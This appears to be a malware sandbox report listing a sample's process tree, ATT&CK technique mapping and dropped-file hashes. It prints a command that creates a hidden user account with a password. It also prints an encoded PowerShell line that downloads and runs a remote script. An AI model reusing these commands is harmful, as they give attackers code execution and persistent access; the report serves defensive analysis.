C:\Windows\system32\net.exe
net.exe user updwin qVojyFfh
2⤵
- Suspicious use of WriteProcessMemory
PID:3264

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin qVojyFfh
3⤵
PID:1404

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:716

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
PID:580

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
- Modifies data under HKEY_USERS
PID:3932

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2724

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:2944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blacklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1260

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESAE08.tmp
MD5
539ef5fde4c4c647255c7b9fbe1dc409

SHA1
46edce61a8161ec08fcc62ac9b99e6df253671da

SHA256
6edd9fe30a59bdb8254775951215b91b776ee8bed657d8c5e65bc5a3badeb7f9

SHA512
fa3c605042a19eb8160528c57da9cc2894acc967cd3ebd796fecd9f698e329dc6a825497b005bb82d6a0716959216ef238c014f86f385963dff28146c19df65e

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1
MD5
dac6b25db50155c0c78d5bf64fb95fa3

SHA1
9e49c8f7a6df94acdefd0daa4c330f92f6d01d0d

SHA256
6967c2ea21792d390309dfd66d56b19f89d89ba4a6fb8f39f10a8212d5e70eaf

SHA512
679b3706f2c03898afb4250b1f51d5e0e7187ed923f7d7cc3a06c5f9a1e5b18bbbc46e9c2c9abd0b4b42e5e3a5b2dd668e3057063562b874119c42e855292868

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.zip
MD5
7cac19b2868c41555db4b71219217f9b

SHA1
d6f77db578db3c5c572c3a944d9072ed00560dcb

SHA256
d8f648e2952466c25343b095ed14591b25b29d0d1c391ca019a8d8f0a39b934a

SHA512
5bafea5eed1ba0493188bb79eafda47a141281fb3258be0dfe08b6b78e5dcf731fd2142b94f95b3203fa6daad27fff1f4495ac7bdebe6eb8a9cbe31b16bfc7b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4qns4nh\x4qns4nh.dll
MD5
9f8ecbc9c0c19bac7409ae7a459044b9

SHA1
709c07554173c190e171e38f14c2301a062f671b

SHA256
57846d837809a7715d768e9a4773f3f1091a2161eebc0ad03942e6acf11f8458

SHA512
ed7fa162c0362c2204a0ec91bb02e7d84fb338ad5575071e77c7bdb72fc9ec9f46eb783730add2844182eb87078fc13d4758be667d364b5bd74413acfb733a35

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\x4qns4nh\CSC2BC06D68D97C49B4A01877BFEAB6C4F7.TMP
MD5
c1f621e1f90285325043e2a08de8a2da

SHA1
ed4c2b3a0957212666fdb6b641f3e5d572ccaf03

SHA256
522e86fe0f5c8684aa4d1c47d957264c827da7d0f810c96652ec7dca1421c373

SHA512
e9981f35ee164f62883bb8baccb6e2cf6d9ef4c1cbab087b1f98c69e6211b8781de595bad50efc4760ef565c2b5d7935b74425fc455aad70d108549a761e5b76

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\x4qns4nh\x4qns4nh.0.cs
MD5
6f235215132cdebacd0f793fe970d0e3

SHA1
2841e44c387ed3b6f293611992f1508fe9b55b89

SHA256
ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec

SHA512
a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\x4qns4nh\x4qns4nh.cmdline
MD5
9167131ccc835661d4aaaa34ad57d2c2

SHA1
ba95628e502694990fb96ce5f461cb29efb8f869

SHA256
14a7c285231e444d9f0ee2d46670c90a27e12070ac332f1ab090a001b4442264

SHA512
9bef6fa843504a37f5d9993b824ef723129154f446b41c12891f948d9531a91cbc9b2f5a0a5caa975ef16ee6323ee56258571f07ccfa2b9d67dcc90aac46eb64

Download Submit
\Windows\Branding\mediasrv.png
MD5
eeb448ea2709c57b9ea2e223d0c79396

SHA1
38331dd027386151ee37a29a7820570a76427b02

SHA256
c82a8ca8997348bc1631637799d8c88e33df3b64d23fdb006a1afdb5e0170272

SHA512
c133096ce90e5693669c056a31870b982b162196508babae4d1d9eb4055f2096af9460164d68885693af56389a42977f4193906da1d19f457e26187a46a5e3fc

Download Submit
\Windows\Branding\mediasvc.png
MD5
bb873bd05a47f502ee4ed3c4ea749a4f

SHA1
e55a6bf49a4833fb9e9b123df39dac9bf507f75a

SHA256
a6a28143f81b007c6853cc80829c16d2aadbe427abe1408276b558f34904900a

SHA512
ce2a22e5e78d3f01a6880a48153f6d3ba8ff025d7bbfe8949b7742a5b7ffa9e44484027353bb80b70e8cad8181dc26b6aabe637b5f7fd2aa4a99cd880d758548

Download Submit
memory/68-31-0x0000000000000000-mapping.dmp

Download
memory/188-15-0x0000000000000000-mapping.dmp

Download
memory/360-27-0x0000000000000000-mapping.dmp

Download
memory/580-42-0x0000000000000000-mapping.dmp

Download
memory/744-23-0x0000000000000000-mapping.dmp

Download
memory/744-7-0x0000000000000000-mapping.dmp

Download
memory/1260-48-0x0000000000000000-mapping.dmp

Download
memory/1260-49-0x00007FFB56540000-0x00007FFB56F2C000-memory.dmp

Filesize
9.9MB

Download
memory/1264-36-0x0000000000000000-mapping.dmp

Download
memory/1400-1-0x0000000001890000-0x0000000001891000-memory.dmp

Filesize
4KB

Download
memory/1404-41-0x0000000000000000-mapping.dmp

Download
memory/1908-25-0x0000000000000000-mapping.dmp

Download
memory/2144-24-0x0000000000000000-mapping.dmp

Download
memory/2168-35-0x0000000000000000-mapping.dmp

Download
memory/2212-44-0x0000000000000000-mapping.dmp

Download
memory/2228-10-0x0000000000000000-mapping.dmp

Download
memory/2228-22-0x0000000000000000-mapping.dmp

Download
memory/2260-20-0x0000000000000000-mapping.dmp

Download
memory/2432-39-0x0000000000000000-mapping.dmp

Download
memory/2660-46-0x0000000000000000-mapping.dmp

Download
memory/2668-32-0x0000000000000000-mapping.dmp

Download
memory/2692-38-0x0000000000000000-mapping.dmp

Download
memory/2756-21-0x0000000000000000-mapping.dmp

Download
memory/2792-26-0x0000000000000000-mapping.dmp

Download
memory/2932-19-0x0000000000000000-mapping.dmp

Download
memory/2944-47-0x0000000000000000-mapping.dmp

Download
memory/3264-33-0x0000000000000000-mapping.dmp

Download
memory/3264-40-0x0000000000000000-mapping.dmp

Download
memory/3384-34-0x0000000000000000-mapping.dmp

Download
memory/3384-18-0x0000000000000000-mapping.dmp

Download
memory/3456-17-0x0000000000000000-mapping.dmp

Download
memory/3852-30-0x0000000000000000-mapping.dmp

Download
memory/3892-5-0x0000023EDD750000-0x0000023EDD751000-memory.dmp

Filesize
4KB

Download
memory/3892-14-0x0000023EDD6E0000-0x0000023EDD6E1000-memory.dmp

Filesize
4KB

Download
memory/3892-4-0x0000023EDD550000-0x0000023EDD551000-memory.dmp

Filesize
4KB

Download
memory/3892-3-0x00007FFB56540000-0x00007FFB56F2C000-memory.dmp

Filesize
9.9MB

Download
memory/3892-2-0x0000000000000000-mapping.dmp

Download
memory/3932-16-0x0000000000000000-mapping.dmp

Download
memory/3932-45-0x0000000000000000-mapping.dmp

Download
memory/3996-37-0x0000000000000000-mapping.dmp

Download